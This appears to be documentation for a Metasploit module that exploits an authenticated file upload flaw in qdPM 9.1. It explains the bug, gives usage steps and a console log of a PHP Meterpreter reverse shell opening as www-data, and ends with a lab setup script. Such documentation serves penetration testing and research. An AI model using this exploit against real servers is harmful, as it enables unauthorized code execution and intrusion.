## Vulnerable Application

This module exploits a arbitrary file upload vulnerability in the qdPM web-based project manager software, in its 9.1 version. When updating a user's profile (POST `myAccount/update`), the user is allowed to upload a profile picture, which is stored in a known location under the web server root. The software fails to verify the picture input, allowing for the upload of any file, with any filename extension. This can be exploited by uploading a PHP script and invoking it by making a request to it. 
The script will run with the same privileges as the web server.
The module has been tested against qdPM version 9.1

## Verification Steps

- [ ] Start `msfconsole`
- [ ] `use exploit/multi/http/qdpm_authenticated_rce`
- [ ] `set EMAIL <email>`
- [ ] `set PASSWORD <password>`
- [ ] `set TARGETURI <target_uri>`
- [ ] `set RHOST <rhost>`
- [ ] `set RPORT <rport>`
- [ ] `exploit`
- [ ] Add SSL, Proxy, and VHOST options if needed.
- [ ] Verify that a new session is created.

## Options

### EMAIL  
  [Required]  
  The email of the user you want to exploit the software with. The user must NOT be the original Admin (i.e. the account created upon installing qdPM, `admin@your_domain.com`). The original Admin user does not have the same attributes as the other user created later on, and its profile picture cannot be changed. In fact, it has no profile picure nor a `/myAccount` page altogether. If you only have credentials for the original admin, you can always login and create another regular user to run this exploit. Note that users with Admin role are also exploitable, only the one created upon installation is not.

### PASSWORD  
  [Required]  
  The password of the user you are trying to exploit.

### TARGETURI  
  The path qdPM lives at. This is only needed is qdPM is not served from the webserver root folder.

## Scenarios

As it can be shown by the following scenarios, the exploit works reliably against a variety of targets. The exploit, however, might fail when a large payload (i.e. stageless meterpreter) is selected.
  
   
  **Attacking with a generic PHP payload, OS independent**

```
[msf](Jobs:0 Agents:0) exploit(multi/http/qdpm_authenticated_rce) >> set target Generic\ (PHP\ Payload)
target => Generic (PHP Payload)
[msf](Jobs:0 Agents:0) exploit(multi/http/qdpm_authenticated_rce) >> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/http/qdpm_authenticated_rce) >> exploit

[*] Started reverse TCP handler on 192.168.2.177:4444
[*] Attempt to login with 'johndoe@localhost.com:easyone'
[*] Uploading PHP payload (1123 bytes)...
[*] Executing 'JGvak.php'
[*] Sending stage (39927 bytes) to 192.168.2.177
[!] Removing: 993379-JGvak.php
[*] Meterpreter session 2 opened (192.168.2.177:4444 -> 192.168.2.177:43816) at 2022-06-14 10:03:46 +0200

(Meterpreter 1)(/home/giacomo/qdPM/uploads/users) > getuid
Server username: www-data
```

## Installation

QDPM 9.1 relies on outdated software, and installing it can be quite nuanced. Please run the provided script to get the application set up together with a web server, the right version of PHP, and MySQL. This is tested on a fresh installation of Ubuntu Server 22.04.

```
apt install software-properties-common -y
add-apt-repository ppa:ondrej/php
apt update
apt install -y nginx php7.3-fpm php7.3-mysql php7.3-xml php7.3-gd mariadb-server unzip wget
systemctl enable --now mariadb.service php7.3-fpm.service
mysql -e "UPDATE mysql.user SET Password = PASSWORD('password') WHERE User = 'root'"
mysql -e "DROP USER ''@'$(hostname)'"
mysql -e "DROP DATABASE test"
mysql -e "FLUSH PRIVILEGES"
mysql -e "CREATE DATABASE qdpm_db default charset utf8"
mysql -e "CREATE USER 'user'@'localhost' IDENTIFIED BY 'pass'"
mysql -e "GRANT ALL PRIVILEGES ON qdpm_db.* TO 'user'@'localhost';"
cd /opt
wget https://www.exploit-db.com/apps/f922670e98bcbcff923d9bfaf430e669-qdPM_9.1.zip -O qdPM_9.1.zip
unzip -d /var/www/html/qdpm qdPM_9.1.zip
rm qdPM_9.1.zip
chown -R www-data:www-data /var/www/html/qdpm/
rm /etc/nginx/sites-available/default
rm /etc/nginx/sites-enabled/default
tee -a /etc/nginx/sites-available/default > /dev/null <<EOT
server {
    listen 80 default_server;
    listen [::]:80 default_server;
    root /var/www/html/qdpm/;
    index index.php;

    location / {
        try_files \$uri /index.php\$is_args\$args;
    }

    location ~* \.php$ {
        fastcgi_pass unix:/var/run/php/php7.3-fpm.sock;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME \$realpath_root\$fastcgi_script_name;
        fastcgi_param DOCUMENT_ROOT \$realpath_root;
    }

    error_log /var/log/nginx/qdpm_error.log;
    access_log /var/log/nginx/qdpm_access.log;
}
EOT
ln -s /etc/nginx/sites-available/default /etc/nginx/sites-enabled/
systemctl start nginx.service
systemctl reload nginx.service
```

If the script runs successfully, you should have a webserver serving the application on port 80.  
Visit the website to complete the installation via the web installer. It will ask you to fill in the database name, user, and password. Those will be `qdpm_db`, `user`, and `pass` respectively. Then, create a password for your `admin@localhost.com` account and login with it. You can now create a second user to run the exploit against.
